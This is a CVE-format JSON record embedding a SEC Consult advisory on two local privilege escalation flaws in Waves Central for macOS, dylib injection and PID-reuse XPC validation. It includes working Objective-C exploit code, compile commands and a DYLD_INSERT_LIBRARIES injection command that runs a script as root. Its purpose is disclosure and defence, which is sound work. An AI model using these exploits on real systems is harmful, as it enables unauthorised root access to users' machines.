Find a vulnerability

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Audio - Waves Central",
          "vendor": "Waves",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260609-0 \u003e\n=======================================================================\n              title: Multiple Local Privilege Escalation Vulnerabilities\n            product: Waves Audio - Waves Central\n vulnerable version: v13.0.8 - v16.6.0\n\u00a0 \u00a0 \u00a0 fixed version: v16.6.2\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-24064, CVE-2026-24065\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.waves.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-07\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Waves is the world\u2019s leading developer of audio plugins and signal processors\nfor the professional and consumer electronics audio markets. Heard on hit\nrecords, major motion pictures, and popular video games worldwide, Waves\u2019\ncutting-edge software and hardware processors are used in every aspect of\naudio production, from tracking to mixing to mastering, broadcast, live sound,\nand more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS,\nand AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts.\"\n\nSource:https://www.waves.com/about-us\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nWaves Central provides a \"PrivilegedHelperTool\" during installation.\nIt uses the \"InstlHelperApplication\" located at the following path\nto connect to the privileged helper tool via XPC:\n/Applications/Waves\\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/\n\nIt was found that the \"InstlHelperApplication\" was signed with the\nentitlements \"com.apple.security.cs.allow-dyld-environment-variables\" and\n\"com.apple.security.cs.disable-library-validation\" which together allow to inject\nunsigned libraries into the process and therefore inheriting the code signature.\n\n----------------------------------------------------------------------\n% codesign -dvv --entitlements -  /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nExecutable=/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nIdentifier=com.waves.central.InstlHelperApplication\nFormat=app bundle with Mach-O universal (x86_64 arm64)\nCodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded\nSignature size=8956\nAuthority=Developer ID Application: Waves Inc (GT6E3XD798)\nAuthority=Developer ID Certification Authority\nAuthority=Apple Root CA\nTimestamp=12.02.2023 at 19:37:53\nInfo.plist entries=32\nTeamIdentifier=GT6E3XD798\nRuntime Version=11.1.0\nSealed Resources version=2 rules=13 files=5\nInternal requirements count=1 size=200\n[Dict]\n        [Key] com.apple.security.inherit\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.network.client\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.network.server\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.bookmarks.app-scope\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.disable-library-validation\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.bookmarks.document-scope\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.user-selected.read-write\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.personal-information.addressbook\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.allow-dyld-environment-variables\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.allow-unsigned-executable-memory\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.disable-executable-page-protection\n        [Value]\n                [Bool] true\n----------------------------------------------------------------------\nBy inheriting the code signature an attacker, who injects a malicious\nlibrary into the application, is able to abuse the signature of the\nInstlHelperApplication to connect to the privileged helper tool via\nits exposed mach service \"com.waves.central.InstlHelper\".\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nIt was found that the XPC service \"com.waves.central.InstlHelper\", offered\nby the privileged helper, uses the connecting client\u0027s PID to check its\ncode signature. This is insecure and can be attacked using a PID reuse\nattack, which will trick the service into thinking the connecting client\nhas a valid code signature.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nThe attacker can abuse the function \"executeIrlFileWithPath\" offered by\nthe privileged helper to get code execution as root.\nTo demonstrate this the following dynamic library has been developed.\nAfter loading the library, \"executeIrlFileWithPath\" is triggered\nto execute /tmp/lol which is basically a shell script:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n//gcc -dynamiclib name\n#include \u003cstdio.h\u003e\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n                       homeDir:(NSString *)homeDir\n                        asUser:(id)asUser\n                    completion:(void (^)(id result))completion;\n\n//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: \n(__C.NSNumber) -\u003e ()) -\u003e ()\n\n@end\n\n__attribute__((constructor))\nstatic void myconstructor(int argc, const char **argv)\n{\n        \n    NSXPCConnection *conn =\n        [[NSXPCConnection alloc]\n            initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n            options:NSXPCConnectionPrivileged];\n\n    conn.remoteObjectInterface =\n        [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n    [conn resume];\n\n    id\u003cHelperProtocol\u003e proxy =\n        [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n            NSLog(@\"XPC error: %@\", error);\n        }];\n\n    [proxy getVersionWithCompletion:^(id version) {\n        NSLog(@\"Version: %@\", version);\n    }];\n    [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n                       homeDir:@\"/tmp\"\n                        asUser:@\"root\"\n                    completion:^(id result){\n                        NSLog(@\"Execution result: %@\", result);}];\n        [[NSRunLoop currentRunLoop] run];\n\n----------------------------------------------------------------------\n\nThis code can be compiled using the following command:\nclang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm\n\nAfter loading the library, /tmp/lol is created as described above:\ncat /tmp/lol\n/bin/bash -c \"touch /etc/pwnedbytmp\"\n\nIt can then be loaded into the injectable XPC client InstlHelperApplication:\n\nDYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nTo exploit this issue an attacker can abuse the insecure client validation via\nPID to gain access to the corresponding NSXPC functions via XPC.\nThe \"executeIrlFileWithPath\" function can be exploited to gain code execution\nas root. The following Objective C PoC code was created:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n#include \u003cspawn.h\u003e\n#include \u003csys/stat.h\u003e\n\n#define RACE_COUNT 32\n#define BINARY \"/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\"\n\n// allow fork() between exec()\nasm(\".section __DATA,__objc_fork_ok\\n\"\n\"empty:\\n\"\n\".no_dead_strip empty\\n\");\n\nextern char **environ;\n\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n                       homeDir:(NSString *)homeDir\n                        asUser:(id)asUser\n                    completion:(void (^)(id result))completion;\n@end\n\nvoid child() {\n\n    // send the XPC messages\n    NSXPCConnection *conn =\n        [[NSXPCConnection alloc]\n            initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n            options:NSXPCConnectionPrivileged];\n\n    conn.remoteObjectInterface =\n        [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n    [conn resume];\n\n    id\u003cHelperProtocol\u003e proxy =\n        [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n            NSLog(@\"XPC error: %@\", error);\n        }];\n\n    [proxy getVersionWithCompletion:^(id version) {\n        NSLog(@\"Version: %@\", version);\n    }];\n    [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n                       homeDir:@\"/tmp\"\n                        asUser:@\"root\"\n                    completion:^(id result){\n                        NSLog(@\"Execution result: %@\", result);}];\n\n    char target_binary[] = BINARY;\n    char *target_argv[] = {target_binary, NULL};\n    posix_spawnattr_t attr;\n    posix_spawnattr_init(\u0026attr);\n    short flags;\n    posix_spawnattr_getflags(\u0026attr, \u0026flags);\n    flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);\n    posix_spawnattr_setflags(\u0026attr, flags);\n    posix_spawn(NULL, target_binary, NULL, \u0026attr, target_argv, environ);\n}\n\nbool create_nstasks() {\n\n    NSString *exec = [[NSBundle mainBundle] executablePath];\n    NSTask *processes[RACE_COUNT];\n\n    for (int i = 0; i \u003c RACE_COUNT; i++) {\n        processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @\"imanstask\" ]];\n    }\n\n    int i = 0;\n    struct timespec ts = {\n        .tv_sec = 0,\n        .tv_nsec = 500 * 1000000,\n    };\n\n    nanosleep(\u0026ts, NULL);\n    if (++i \u003e 4) {\n        for (int i = 0; i \u003c RACE_COUNT; i++) {\n            [processes[i] terminate];\n        }\n        return false;\n    }\n\n    return true;\n}\n\nint main(int argc, const char * argv[]) {\n\n    if(argc \u003e 1) {\n    // called from the NSTasks\n        child();\n\n    } else {\n        NSLog(@\"Starting the race\");\n        create_nstasks();\n    }\n\n    return 0;\n}\n----------------------------------------------------------------------\n\nThis can be compiled using gcc with the following command:\ngcc -o exploit_waves_pid -framework Foundation exploit_pid.m\n\nAfter creating the file /tmp/lol accordingly the binary can be run and the\nhelper will execute /tmp/lol as root.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 16.1.6.244088\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us\n2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted\n            communication as well as dedicated security email address.\n2026-01-27: Asking for the encryption details.\n2026-01-28: Vendor provides PGP key.\n2026-01-29: Submitting encrypted advisory to vendor.\n2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted\n            upon request.\n2026-02-18: Ven"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:30:12Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/6"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://www.waves.com"
        },
        {
          "url": "https://www.waves.com/about-us"
        },
        {
          "url": "https://www.waves.com/contact-us"
        },
        {
          "url": "https://www.waves.com/downloads/central"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260609-0 :: Multiple Local Privilege Escalation Vulnerabilities in Waves Audio - Waves Central",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24064",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24065",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0364",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/6",
            "automated": true,
            "contentSha256": "a7eb0019ad78c21843df53cc6f5258f488de744f24b3dfb2adbfac8a6c798f2d",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-09T06:50:33Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0364"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:30:12Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0364"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}